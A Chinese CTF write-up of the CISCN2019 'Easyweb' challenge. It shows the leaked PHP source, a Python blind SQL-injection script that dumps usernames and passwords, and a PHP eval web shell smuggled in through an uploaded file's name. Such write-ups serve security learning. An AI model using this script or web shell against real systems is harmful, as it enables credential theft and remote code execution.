[CISCN2019 总决赛 Day2 Web1]Easyweb

image-20240606191525293

我知道不会是那样,所以就没那样

你说是吧sql注入

好吧其实我试过了直接sql注入发现不行

可恶

那这道题估计就还是一道气气怪怪的题目

那就查一查又没有什么特殊文件先

发现robots.txt

image-20240606192557683

发现了奇奇怪怪的东西

xxx的一个备份文件

我还在想是谁的

打开源码一看

image-20240606192653870

这不就来了嘛

image.php.bak

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

看到源码

也就是两个参数

id和path

后面有几个过滤

addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。

预定义字符是:

  • 单引号(’)
  • 双引号(”)
  • 反斜杠(\)
  • NULL

所以第一步是加反斜杠

第二步是把规定的某些字符串变为空

然后就是一个sql注入

还真是sql注入,我承认我之前说话是大声了一点

所以我们可以大胆猜测我们该怎么做才能注入

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
所以我们要让id变成不识别的,然后将

select * from images where id='\' or path='{$path}'

构造成下面那样差不多吧

这样的话下面的语句就被分为

select * from images where id='      \' or path='            {$path}'

也就是说 \ 后面的 ‘ 被转义了,所以闭合情况变了,这样就可以通过传上去的path去搞事情了

因为没有回显,所以,这里我使用了盲注,脚本如下

import  requests
url = "http://9f0a8671-b351-45a7-97ff-d023946ec8da.node5.buuoj.cn:81/image.php?id=\\0&path="
payload = " or ascii(substr((select username from users),{},1))>{}%23"
result = ''
for i in range(1,100):
high = 127
low = 32
mid = (low+high) // 2
# print(mid)
while(high>low):
r = requests.get(url + payload.format(i,mid))
# print(url + payload.format(i,mid))
if 'JFIF' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(mid)
print(result)

我这里就没有放爆表的情况了

username和password都要爆

登录就行

image-20240606201838905

好好好

文件上传

尝试了各种码都没啥用

最后更改文件名

<?=@eval($_POST['a']);?>

就行了,反而,七七乖乖的

应该是直接读取的文件名,反而没有读文件内容,好心理战

之后就是蚁剑连接拿到flag